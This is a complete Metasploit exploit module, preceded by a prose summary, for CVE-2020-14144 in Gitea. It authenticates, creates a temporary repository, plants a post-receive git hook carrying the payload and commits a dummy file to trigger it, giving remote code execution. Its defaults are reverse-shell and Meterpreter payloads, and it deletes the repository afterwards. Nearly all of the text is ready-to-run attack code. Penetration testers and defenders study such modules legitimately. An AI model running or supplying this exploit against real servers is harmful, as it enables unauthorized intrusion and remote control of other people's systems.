This Metasploit module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gitea. This is possible when the current user is allowed to create git hooks, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gitea web interface, creates a temporary repository, sets a post-receive git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. It has been mitigated in version 1.13.0 by setting the Gitea DISABLE_GIT_HOOKS configuration setting to true by default. This disables this feature and prevents all users (including admin) from creating custom git hooks. This module has been tested successfully against docker versions 1.12.5, 1.12.6 and 1.13.6 with DISABLE_GIT_HOOKS set to false, and on version 1.12.6 on Windows.
4cb5b6740800ce4b96147b406421ff7b##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Hooks Remote Code Execution',
'Description' => %q{
This module leverages an insecure setting to get remote code
execution on the target OS in the context of the user running Gitea.
This is possible when the current user is allowed to create `git
hooks`, which is the default for administrative users. For
non-administrative users, the permission needs to be specifically
granted by an administrator.
To achieve code execution, the module authenticates to the Gitea web
interface, creates a temporary repository, sets a `post-receive` git
hook with the payload and creates a dummy file in the repository.
This last action will trigger the git hook and execute the payload.
Everything is done through the web interface.
It has been mitigated in version 1.13.0 by setting the Gitea
`DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
disables this feature and prevents all users (including admin) from
creating custom git hooks.
This module has been tested successfully against docker versions 1.12.5,
1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
version 1.12.6 on Windows.
},
'Author' => [
'Podalirius', # Original PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2020-14144'],
['EDB', '49571'],
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
],
'DisclosureDate' => '2020-10-07',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
])
@need_cleanup = false
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
# Powered by Gitea Version: 1.12.5
unless (match = res.body.match(/Powered by Gitea Version: (?<version>[\d.]+)/))
return CheckCode::Unsupported('Target does not appear to be running Gitea.')
end
if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
print_warning(
'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
'by default. This prevents all users (including admin) from creating '\
'custom git hooks. This exploit might not work if this option is still '\
'set to the default value.'
)
end
CheckCode::Appears("Gitea version is #{match[:version]}")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
gitea_login
print_good('Logged in')
@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
print_status("Create repository \"#{@repo_name}\"")
gitea_create_repo
@need_cleanup = true
print_good('Repository created')
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager(background: true, delay: 1)
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
print_status('Setup post-receive hook with command')
gitea_post_receive_hook(cmd)
print_good('Git hook setup')
print_status('Create a dummy file on the repo to trigger the payload')
last_chunk = cmd_list ? cmd == cmd_list.last : true
gitea_create_file(last_chunk: last_chunk)
print_good("File created#{', shell incoming...' if last_chunk}")
end
def http_post_request(uri, opts = {})
csrf = opts.delete(:csrf) || get_csrf(uri)
timeout = opts.delete(:timeout) || 20
post_data = { _csrf: csrf }.merge(opts)
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], uri),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => post_data
}
send_request_cgi(request_hash, timeout)
end
def get_csrf(uri)
vprint_status('Get "csrf" value')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
unless res
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
end
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
csrf
end
def extract_value(res, attr)
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
# <input type="hidden" id="uid" name="uid" value="2" required>
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
end
return match[:value]
end
def gitea_login
res = http_post_request(
'/user/login',
user_name: datastore['USERNAME'],
password: datastore['PASSWORD']
)
unless res
fail_with(Failure::Unreachable, 'Unable to reach the login page')
end
unless res.code == 302
fail_with(Failure::NoAccess, 'Login failed')
end
nil
end
def gitea_create_repo
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')
res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end
vprint_status('Get "csrf" and "uid" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
uid = extract_value(res, 'uid')
vprint_good("uid=#{uid}")
res = http_post_request(
uri,
uid: uid,
repo_name: @repo_name,
private: 'on',
description: '',
repo_template: '',
issue_labels: '',
gitignores: '',
license: '',
readme: 'Default',
auto_init: 'on',
default_branch: 'master',
csrf: csrf
)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end
unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Create repository failure')
end
nil
end
def gitea_post_receive_hook(cmd)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
shell = <<~SHELL
#!/bin/bash
#{cmd}&
exit 0
SHELL
res = http_post_request(uri, content: shell)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end
unless res.code == 302
msg = 'Post-receive hook creation failure'
if res.code == 404
msg << ' (user is probably not allowed to create Git Hooks)'
end
fail_with(Failure::UnexpectedReply, msg)
end
nil
end
def gitea_create_file(last_chunk: false)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"
res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end
vprint_status('Get "csrf" and "last_commit" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
last_commit = extract_value(res, 'last_commit')
vprint_good("last_commit=#{last_commit}")
http_post_request(
uri,
last_commit: last_commit,
tree_path: filename,
content: Rex::Text.rand_text_alpha(1..20),
commit_summary: '',
commit_message: '',
commit_choice: 'direct',
csrf: csrf,
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
)
vprint_status("#{filename} created")
nil
end
# Hook the HTTP client method to add specific cookie management logic
def send_request_cgi(opts, timeout = 20)
res = super
return unless res
# HTTP client does not handle cookies with the same name correctly. It adds
# them instead of substituing the old value with the new one.
unless res.get_cookies.empty?
cookie_jar_hash = cookie_jar_to_hash
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
cookie_jar_hash.merge!(cookies_from_response)
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
set << "#{cookie[0]}=#{cookie[1]}"
end
cookie_jar.clear
cookie_jar.merge(cookie_jar_updated)
end
res
end
def cookie_jar_to_hash(jar = cookie_jar)
jar.each_with_object({}) do |cookie, cookie_hash|
name, value = cookie.split('=')
cookie_hash[name] = value
end
end
def cleanup
super
return unless @need_cleanup
print_status('Cleaning up')
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)
unless res
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
end
unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
end
print_status("Repository #{@repo_name} deleted.")
nil
end
end